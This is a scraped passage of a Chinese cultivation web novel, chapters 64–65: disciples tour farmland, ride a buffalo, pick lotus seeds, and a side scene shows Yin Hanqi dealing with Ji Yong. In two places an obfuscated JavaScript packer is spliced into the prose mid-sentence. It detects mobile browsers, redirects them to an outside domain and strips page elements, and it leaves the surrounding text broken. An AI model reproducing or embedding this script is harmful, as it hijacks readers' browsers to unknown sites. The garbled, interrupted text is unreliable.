关云铮:哈哈,还好刚才没猜,这不是自取其辱吗。 **** 深秋时节的田野有些萧瑟,枯草比绿色多,有些田里还留着水稻收割后的根茎,没种新的作物。 关云铮在青镜山上待得不知今夕何夕,见状看向其余三人:“水稻收割后种什么来着?” 闻越一头雾水:“哪有水稻?” 关云铮痛心疾首:“师兄,我与你之间已经有一层可悲的厚障壁了。” 闻越更是茫然:“什么障壁?怎么就有障壁了?” 走在几人最后的江却忍不住想笑:“水稻收割后可能会种麦,不过各处农户种植的作物不同,可能农庄里有别的规划也未可知。” 楚悯若有所思地点点头,想问点什么又犹豫起来。 江却像是看出她想问的话,接着说道:“是当流民那几年知道的,那时候多数流民都是农民。” 靠天吃饭的人,一旦遇上天公不作美的年景,涝了旱了都是不成,地里能挨到成熟收获的作物不够一家子几个月的口粮,时间久了就容易变成流民。而一旦变成流民,曾经耕种的日子也很难回去了,主观上摔得太惨心灰意冷是一部分原因,客观上没有重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15205833|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新开始的能力是另一部分原因。 总之那几年的流民数量只增不减,不对,倒是减少了一些,因为旱灾涝灾后容易滋生疫病,老弱妇孺总是会在疫病到来时最先倒下,而被疫病击垮的人得不到妥善的安置,尸体的腐坏又会加重疫病的严重程度,从而导致更多人的死亡。那时候的流民,只有不到四成的人是真正被饿死的,其余六成,都是病死的。 关云铮小心翼翼的:“大师兄为何会变成流民呢?” 江却神色平常:“听流民中的长辈说,我父母在涝灾时便去世了,母亲从洪水中救起了一个女孩,自己被卷走了,父亲死于疫病。那时我尚且不记事,不记得他们的长相了。” 闻越叹了口气,又转向关云铮:“还好我们师父是个阔绰且心善的公子哥,见不得孩子受苦。”他显然是已经听过这段故事了,说起这个话题时不像关云铮那样小心翼翼,只是语气依旧很唏嘘,“那几年年景很不好,连我家的生意都受了影响,师兄师姐那时候的惨状几乎随处可见。” 那不仅仅是几个人的悲剧,而是那几年时代的缩影。 关云铮却忽然想起什么,从乾坤袋里拿出将隐:“方才我在抽取季邕的记忆时看到了......”她差点顺嘴把“关云筝”说出口,紧急刹车后改口道,“一些不属于他的记忆,似乎是因为这些记忆与季邕有连接,所以在抽取记忆时触发了将隐,被回溯了。” 楚悯明白了她想表达什么:“你想回溯大师兄的记忆,让他看看过去?” 关云铮点点头:“对,我想试试。” **** 几人还没抵达农户住处就看见了在田埂上站着的李演,闻越朝那边挥了挥手:“李厨!” 李演回过头来,手里还拿着点什么,见了他们招手道:“过来看看!” 隔得太远,纵然原身的视力不错,这个距离她也只能看出李演大概是拿了些绿色蔬菜之类的东西,看不清具体是些什么。 那田埂看着近在眼前,待到要下去时关云铮才发现根本看不到入口。 呆滞。 闻越也呆住了,站在绿油油的麦田前喃喃道:“李厨难道是飞进去的?” 楚悯也没看到入口,仔细一看似乎只有李演脚下有田埂似的,但还是不太确定地说道:“应当不会?” 江却无言,走到几步开外,拨开长得过于茂密的麦子:“在这边,当心脚下。” 四人踩着相当狭窄的田埂迈入麦田,关云铮压根不敢在说话时回头,生怕在回头的瞬间下一脚就踩空了,但还是忍不住碎碎念:“小悯,你看这个田埂适不适合练御剑?” 楚悯笑出声:“你觉得我们没法平稳御剑是因为剑身太窄了吗?” 关云铮实话实说:“那倒不是,我纯粹是胆量太小,体术太差。”理不直但气壮。 江却走在后头接话:“无需急于求成,回去后有的是时间练习。” 关云铮小鸡啄米式点头,忽然发现江却的说话习惯:他似乎倾向于把自己的结论放在话语的最开始,说完结论后再进行解释。 这同很多人的说话风格存在着本质的不同。因为相当一部分人在传达带有观点的理论时,都会怀揣希望对方接受自己的观点、听进去自己的建议这样的想法,所以一般会在话开始时阐述清楚自己的理由,最后才给出结论。 江却在说话风格上与这些人截然不同。 难怪总觉得他不好接近,这样说话确实会让人有种很难和他沟通的感觉,毕竟他把自己的结论放在“对方接受观点”这件事之前,优先级的不同就决定了聆听者感受上的不同。 换作在现代社会,关云铮可能会忍不住想此人是不是官不大官瘾很大,习惯下达指令似的说话;也可能会把他评价为目标导向思维人...... 她意识到方才短暂的思考时间里,将隐又在悄悄转动了,不知道想的这些又是被它从哪年哪月里回溯出的心理学知识。 终归现今不是21世纪了,对待江却也没有必要动用上批判的思维,最多不过是师门教育方式特殊,徒弟们的为人和性格百花齐放罢了。 这不,走在最前面那位师兄还兴高采烈地问李演能不能骑牛呢。 64.第 64 章 李演简直不明白闻越的脑子里一天到晚在想些什么,没好气道:“你也不怕它把你甩下来。” 闻家先前落户在朝安,朝安城寸土寸金,城郊农田那个租价压根就没打算租给农户,因此闻越也没什么机会见到用来耕地的牛——毕竟租得起城郊农田的富人会雇佣人来耕种,也就没有牛的用武之地了。 以前每年春耕节倒是有牛,但节庆时候的景象自然做不得数,谁家犁地的牛会是膘肥体壮神采奕奕的?过得怕是比普通百姓还要滋润些。 等到来了镜溪城,他又上山修道去了——虽然没修出什么名堂,如今第一次见耕地的牛,便很想试试骑牛是什么感觉,理直气壮地反驳道:“不是有你在这吗,师兄也在后面,不会让我摔着的。” 其余三人走过来时就听见这么一句,关云铮不由得看了眼那头牛:“没鞍能骑吗?” 闻越像是很满意关云铮和他想到一块儿去了,闻言点点头说:“我先试试。” 关云铮也跟着点点头:“无妨,牧童骑在牛背上时也没有配鞍,就是缺了支短笛,不然师兄此番就更像牧童了。” 李演在旁边抱臂冷笑:“哪家农户能雇得起他来当牧童。” 楚悯深以为然:“此言在理。” 总之闻越欢快地攀着牛的身子坐了上去,待到坐稳后还煞有介事地点评道:“比马背宽敞些。” 突然变成坐骑的牛相当温顺,背上忽然多了一百来斤也不甚在意,只随意地甩了甩尾巴。 关云铮注意到这个细节无端想笑:“师兄,它方才在甩尾巴呢。” 闻越不明所以:“甩尾巴怎么......好哇云崽!你的意思是它把我当虻虫?!” 关云铮背着手看向别处:“我可没说,是你自己说的。” 闻越倒也不生气,坐了一会儿后又撑着牛背跳下来:“就是太安静不喜动了,这要是真当坐骑,马走一日,它怕是得走五日。” 江却神色无奈:“你非得在它吃草的时候坐上去。” 闻越“诶”了一声,回头看了会儿,发现它还真在嚼草,顿觉愧疚,对着那牛的脑袋双手合十,诚恳地作了个揖:“对不住啊牛兄,打搅您用膳了。” 牛把草嚼完了,看着眼前这个举止怪异的人,不解地“哞”了声。 李演这才想起被打岔之前自己想说什么,把方才随手放到脚边田埂上的东西拿起来给几人看:“方才问了问那位农户有无甜一些的甘薯种,他给了我这些甘薯苗。” 关云铮有点不好意思:“其实原先菜地里的甘薯也挺好吃的,没准过段日子就甜了。”特意来找甜的甘薯还是有点太麻烦人家了。 李演摆摆手,并不在意:“厨子的分内之事。再说了,你们师父给的月钱可不少。” 也是。 关云铮第不知道多少次麻木地想,她为什么总在共情有钱人,哪怕这个有钱人是她师父也不能共情有钱人啊啊啊啊。 楚悯在苍生道还没待多久,而甘薯成熟要些时日,因此她恰好没喝上不怎么甜的甘薯粥,闻言十分好奇:“甘薯苗种进地里能长出甘薯吗?”毕竟一般来说,作物都是从种子逐渐成熟起来的吧? 关云铮回过神来:“能,这叫扦插。” 四人默默把目光投向她,闻越更是倍感震撼:“你这都是从哪看来的?” 关云铮无声把视线转向旁边的麦田,打了个哈哈:“学得略杂,略杂。” 几人交谈间,展骏从远处的麦田里走来,一直走到闻越面前才说道:“小少爷,问过这边的农户了,说是还有一处荷塘尚未收割。” 闻越差点忘了这茬了,方才他往这边走时确实感慨了一句秋天怕是没有莲子了,此时便问道:“还有莲子?” 展骏颔首:“有,但农户说可能不如前阵子的好。” 闻越扭头看向关云铮和楚悯:“尝尝去?” 关云铮拉上楚悯的手:“尝尝去!” **** 或许是荷花之间的品类不同,或许是他们运气好,总之不知出于何种原因,这片荷塘里甚至还有几朵在凋谢边缘的荷花。 关云铮老远就看见了那抹格外显眼的藕荷色,提着衣摆,踩着有些泥泞的土路绕荷塘走了半圈,终于找到能近距离观赏这朵荷花的落脚点,回头招手:“小悯你来看这朵花!” 楚悯跟在她身后蹲下来,眼尖地注意到被花瓣包裹着的东西:“那是蜂吗?” 关云铮正想凑近,江却在身后出声:“当心。” 于是她只好老实在原地蹲着,努力在一簇嫩黄色的花蕊中寻找那蜂的身影。 “它是才睡醒吗?”关云铮看着那只圆滚滚的蜂。 “也可能是累了吧,你看它身上有好多花粉呢。”楚悯轻声说。 “不要只采荷花的花粉哦,荷花都不开了,你会飞得很累都找不到一朵花的。”关云铮也小声说。 闻越正找人帮忙采莲子,捧了一大堆莲蓬到怀里,一扭头却发现两个师妹都不见了,只好捧着莲蓬大呼小叫地走过来,终于看见在荷花前蹲着的两位师妹。他抱着莲蓬也蹲下来:“看什么呢?” 没人回答他,闻越下意识往两位师妹那看,很快发现一件十分要命的事——关云铮在哭。 和方才看到季邕记忆后的反应一样,没有一点声音,眼泪却已经啪嗒啪嗒地砸下来了。 关云铮默不作声地看着荷花流泪,蹲在她身边的楚悯显然也注意到了,但什么也没说,只无声地站起身,和闻越对视一眼,跟一直站在他们身后的江却一起先走远了。 或许他们走远了她就可以放心地哭出声了。 闻越一路过来都无意识地揪着手里的莲蓬梗,想说点什么也不知从何开口。 怎么可能已经不难过,纵然感情再差,那也是她的血亲,见到亲人以此种情状死在自己面前,短时间内很难平复才是正常。 闻越叹了口气,抱着莲蓬在身后的石板上坐下,索性没事做,干脆把莲子剥出来,待会儿给心情平复的云崽尝尝。 而被惦记的云崽还蹲在荷花面前。那只蜂早就不知道飞去哪里了,圆滚滚的身子上沾了好多花粉,也不知道飞回去的路上要歇多少次。 关云铮蹲在地上想:关云筝的灵魂究竟是什么时候彻底消散的?是她那次回到关家与关云筝的母亲大吵一架后?还是在那之前? 她有没有听到自己对闻逍提出的,让关云漪和季邕解除婚约的请求? 虽然不管她听到与否,这件事的结果都只是对关云铮自己的安慰,这些问题对于关家姐妹中的任何一个来说,都已经没有意义了。 关云筝在无法确认她妹妹能否平安时便消散了,关云漪更是还不知道自己为何会经历这些便被折磨至死了。 妹妹临死前会怨恨她的姐姐吗? 她的魂魄会归入溯洄吗? 关云铮抬手抹了一把脸,犹觉不够解气似的,又抓着袖子狠狠擦了擦眼角。 “哎呀,哭了?”一个声音忽然在她耳边响起。 关云铮被吓了一跳,由于那声音太近还以为是背后有人,下意识站起来转身,却没看到一个人影。 “谁?”她不由得警惕起来,这声音听起来虽非男非女,但不像心魔引那样带着诡异感,更像是摇羽那种剑灵才有的非人感。 难道是将隐里的器灵?还是撷光? 关云铮怀疑地拿出将隐放在手心看了看,没看出异常后又横过手腕打量了一番撷光。 “我不是器灵。”那个声音又说道,语调慢悠悠的,像在用言语逗她玩。 关云铮皱眉,心说你不是器灵至少也是个谜语人,最烦话说一半的行为。 那声音的主人比知名谜语人章存舒还能看透人心,因为祂在关云铮腹诽之后说道:“谜语人?什么意思?喜欢说谜语的人?” 关云铮眉头皱得更紧了,虽说心魔引也能窥探她的内心所念,但到底只是偶尔发作,窥探时还总带着挑衅她的意味,动机太过外露她反而没那么容易生气。 但此刻说话的这位……话语里几乎听不出恶意,但也压根不打算掩饰祂对自己内心的窥探,不对,这种程度的不能叫窥探了,人家根本不打算藏着掖着,这完全就是在观察,在复述她的念头,她在祂面前无所遁形。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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闻越指甲留得短,这几个莲蓬又有些难剥,这一会儿下来几个指尖确实有点疼,闻言顺顺当当地开始做甩手掌柜:“你们先吃,我歇着了,吃完再剥。” 沉默寡言的大师兄好半晌没动静,几人一扭头,才发现他不知从哪变出一把小银刀,正垂着眼认真地按照莲子的生长区域分割莲蓬,方便剥出每一颗莲子。 “这不是师姐处理那些花的银刀吗?”闻越凑过来仔细端详。 江却面不改色地把他脑袋挪开了些:“挡住光了。” 闻越一脸不可置信地看着他,随即又转过头看向两个师妹,伸手指着江却道:“有没有天理了,大师兄居然推我脑袋?” 关云铮的回应是塞了一小把莲子到他手心,又把他身侧余下的几个莲蓬拿走了:“吃吧,我来剥,不要打搅大师兄。” 闻越当然不会真的觉得没天理,他只是看关云铮比平时寡言,知道她还是情绪不高,才故意咋咋呼呼地说些话来逗小师妹开心。 因此他顺从地接过莲子,但嘴上还没忘了没正形:“还是云崽好。” 话音没落,就见楚悯也要递过来一把莲子,又笑眯眯地加上一句:“小悯也好。” 呜呼,清汤大老爷! 江却很快分割好莲蓬,小心谨慎地顺着裂隙把莲子一个个剥离出来,又装进一个小布袋里,系好绳子放进乾坤袋。 闻越吃着莲子点评:“懂了,给师姐带的。” 关云铮默默:好的,我捡一口。 楚悯比较关心莲子的保存:“这布袋子施了术法吗?” 闻越老神在在的:“师父拿手绝活,保存食物妙招。” 关云铮又默默:不愧是你,师父。 楚悯于是接着问道:“我们今日不回归墟吗?” 闻越心说终于问到点子上了,吃完手里的莲子拍了拍手,拍掉手心的碎屑,满意道:“明日农户要做桂花蜜,我们带点回去尝尝。” 这下饶是用心剥莲子的关云铮都抬头看了他一眼,眼神亮晶晶的,显然是十分期待。 闻越一挥手:“还有什么想吃的,这次都带点回去尝尝!” 毕竟说好了是来打秋风的嘛,怎么能不多打劫一点呢。 65.第 65 章 供应水牛乳的农户是散户,住处只供自己一家三口,没有多余。 秉持着打秋风就要打个彻底的主张,四人今日大概并不回归墟。闻越自觉此时不宜回家,纵然谁也没做错,但此事余波未了,此时归家难免触景伤情,遂吩咐展骏去农庄里寻几间厢房。 展骏早就料到似的,闻言一点头:“已经准备好了,小少爷现在便过去,还是过会儿再去?” 闻越挑眉:“庄子里还有什么别的吗?” 吃的玩的,能让人心情好些的。 展骏会意,直接看向闻越身后两位姑娘:“有柿子,要尝尝吗?” 关云铮不巧正吃了颗相当苦的莲子,闻言立马咬着舌尖答应下来:“吃,哎哟这莲子苦死我了。” 走在关云铮身后的江却伸手,关云铮不明所以:“怎么了大师兄?” 江却看了眼她手里的莲子:“不是说苦?给我吧。” 关云铮把捧着莲子的手往怀里一收,笑嘻嘻的:“谁吃不苦,给你还得多出一个人吃苦。” 江却一愣,小师妹已经和好友手拉手地跟上闻越的步子了,察觉身后没动静还回过头来催促:“师兄,你还不跟上可没有好的柿子吃了。” 走在最前面的闻越也跟着回过头,笑着调侃他:“是啊,要是来晚了,我们可不会给你留啊。” 被催促的大师兄无奈,只好抬腿跟上。 关云铮身上似乎发生了某种微妙的变化,说不上来,但他直觉此刻的她和方才有些不同。 说她走出来了、没事了也并不恰当,但模样看着确乎是卸下了某种重担,脸上的轻松神色并非作伪。 江却幼时很会看人脸色,领着连映乞讨时看一眼便能得知下一位过路人会否伸出援手,若是伸出援手,又会给些什么东西。给铜钱和给吃食的人天然长着两种相貌,漠然之人与拿流民撒火之人更是天差地别。 他总是早早就看懂脸色,遇上漠然者便缄口不言,遇上撒火之人便退避三舍。 运气好时一日内既能碰见给吃食和给铜钱的,运气差时除开遇不到好心人,遇到烂人的时候也多些。他看人脸色的本事也就在日复一日的乞讨中变得愈发炉火纯青。 只不过后来在归墟待了十几年,这项技艺变得逐渐生疏。没有运用的场合,幼童时因为带着连映而强打精神锻炼出来的技艺,自然被抛诸脑后。 毕竟本就是记性不大坚牢的年纪。 走在前头的两位师妹脑袋挨在一块,在说悄悄话,江却回过神来,又担心听见师妹们说的话,放慢脚步的同时把视线投向远处的麦田尽头。 闻越是个走路不老实的,在最前面走了没几步就折返回来,凑在两个师妹身边问:“柳相走时说苏修士会敲打严骛,也不知今日快过去,敲打了没有?” 关云铮心说这话形容得严骛活像个木鱼,思及此忍不住笑了声,对上楚悯的视线如实说道:“老说敲打,我现在觉得他像个木鱼。” 闻越一愣,随即发出惊天爆笑声:“哈哈哈哈哈哈哈哈哈哈哈哈哈……” 楚悯也没忍住,甚至身后的江却听见后都笑出声了。 关云铮默默又给自己投喂了一颗莲子,为自己嘴上缺德的行为在心里敲了两声木鱼,哦,不是严骛这个木鱼。 闻越笑着笑着,肚子却相当不给面子,“咕噜噜”响了几声,不比方才笑声的动静小多少。 他一脸后知后觉的懊恼:“晌午都过了,我这才想起来。” 关云铮咀嚼莲子的动作一顿,糟了,她也忘了。 比起“这世上原来真有人能忘记吃饭”这件事更让她感到震惊的,是这个人居然是她自己。 吃货人设塌了。 一旁的楚悯思索着:“那柿子不能吃了?” 江却在后头“嗯”一声:“柿子寒凉,饥饿时不能吃。” 确实,鞣酸容易刺激胃粘膜,空腹吃对胃不好。关云铮一边漫无边际地想,一边继续吃莲子,嚼着嚼着忽然意识到她现在其实不是空腹——都吃了一把莲子了。 闻越也像是才意识到此事似的,看向她继续吃莲子的动作,露出欲言又止的神色。 她还以为闻越要说她并非空腹可以吃柿子之类的话,结果闻越看了她半晌来了句:“少吃点莲子,待会儿饭吃不下了。” 楚悯也连连点头。 好吧,关云铮放下莲子,又是被师门溺爱的一天。 **** 季邕毕竟还没死,看关云铮的意思也不打算让他如此轻松就死了,故而殷含绮也没多做什么,让手下随意把他套进麻袋里丢到季家门口就打算走人。 平心而论,此人如果完全落在她手里,只被抽取记忆和阉割怕是不太够,虽说对这种由于自己不举而折磨女人的男人来说,最残酷的惩治手段可能就是阉割,但阉割过后的男人对其他健全的女人只会手段更狠毒。 从前皇宫中宦官盛行时,三不五时就得有宫女被折磨致死丢出宫外,再随便找个由头说是在宫中惹怒了贵人,被贵人打死的。 皇宫大门不是给凡民设的,那殿前台阶也不是给凡民走的,宫中诸事的真相,自然也不是凡民配知道的。究竟是宦官虐杀还是贵人惩戒,宫外的可怜父母哪里会知晓呢? 殷含绮本想吩咐两个门派中人稍微盯着点季家,又忽而想起季邕连闻逍的眼线都瞒过了,于是拧起两道细眉,打消了将此事假手于人的念头。 她转身欲走,季家大门却传来些动静。 一帮子家仆随从鱼贯而出,围着季邕咋呼起来。 那股恶意像引魂香阴魂不散的味道般,附在她的脊背上挥之不去。 殷含绮忍无可忍地转回身,几步走上季家门前石阶,把那群尚在咋呼的仆役吓了一跳。 季邕是个打小就心想事成的公子,哪怕家不在朝安,也算得上镜溪城的小霸王,家里人对他向来无有不依,是以现在没了底子又没了面子,差不多要糟烂透了。 他不加掩饰地用充满恶意的目光盯着殷含绮:“我总有办法闹到众人皆知,到时哪怕她想明哲保身,我也势必要将她拉下水,怎么说也认识了这么多年,想来镜溪城的人也都知道我同她从小情投意合……” 殷含绮忍无可忍,一扇子把他周围仆役全部扇 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殷含绮的笑眼被团扇的扇面掩去一半,她声音轻柔得有些飘忽,在季邕彻底被阵法的光笼罩之前,问出她的最后一个问题:“你知道这把扇子,叫什么名字吗?” “那把团扇叫桃花面。”饭桌上,江却忽然说道。 关云铮在专注地品鉴桌上一道桂花糖藕,一边吃一边感慨,果然不管什么不好吃的东西带上点桂花都会变得好吃,比如她从前一点不沾的藕。 听见这话她抬起头:“殷姐姐的团扇?” 江却颔首:“也有人会用那团扇的名字称呼她。” 还挺符合殷含绮气质的,关云铮心想。 “不过怎么忽然提起她?”她夹了一筷子野菜。 江却神色很认真:“你将季邕之事完全交由她处理,不担心她做出什么不当之举?” 他话里没有歧视的意思,关云铮听得很清楚,故而回答时也很诚恳:“先前我独自下山时遇见过她几次,是她主动向我坦白了邪修身份,还告诉我一些事情的真相。” “纵然我并不明白萍水相逢,她因为何种原因这样帮我,但我同样也不明白师父为何会选中我当他的徒弟,不明白师兄师姐们为何对我这般好,不明白小悯为什么会愿意和我做朋友。” 闻越皱眉:“这怎么能一样?” 关云铮笑了笑:“怎么不一样?都是无缘无故的好意,不能因为身份的不同就追求用心是否险恶吧。”她又夹了一筷子桂花糖藕,“论迹不论心嘛,两位师兄说是吧?” 楚悯默默接过话茬:“你说出的这些话,大概便是你不明白的那些事的原因。” 话说得怪绕的,但关云铮相当顺畅地理解了话中含义,倒也不忸怩,坦荡承认道:“自然,我也不差。” 江却笑起来:“当然。” 闻越笑嘻嘻地凑过来:“师兄师兄,那我呢?” 江却看他一眼没说话。 闻越臊眉耷眼地坐回去了:“我就多余问这句。”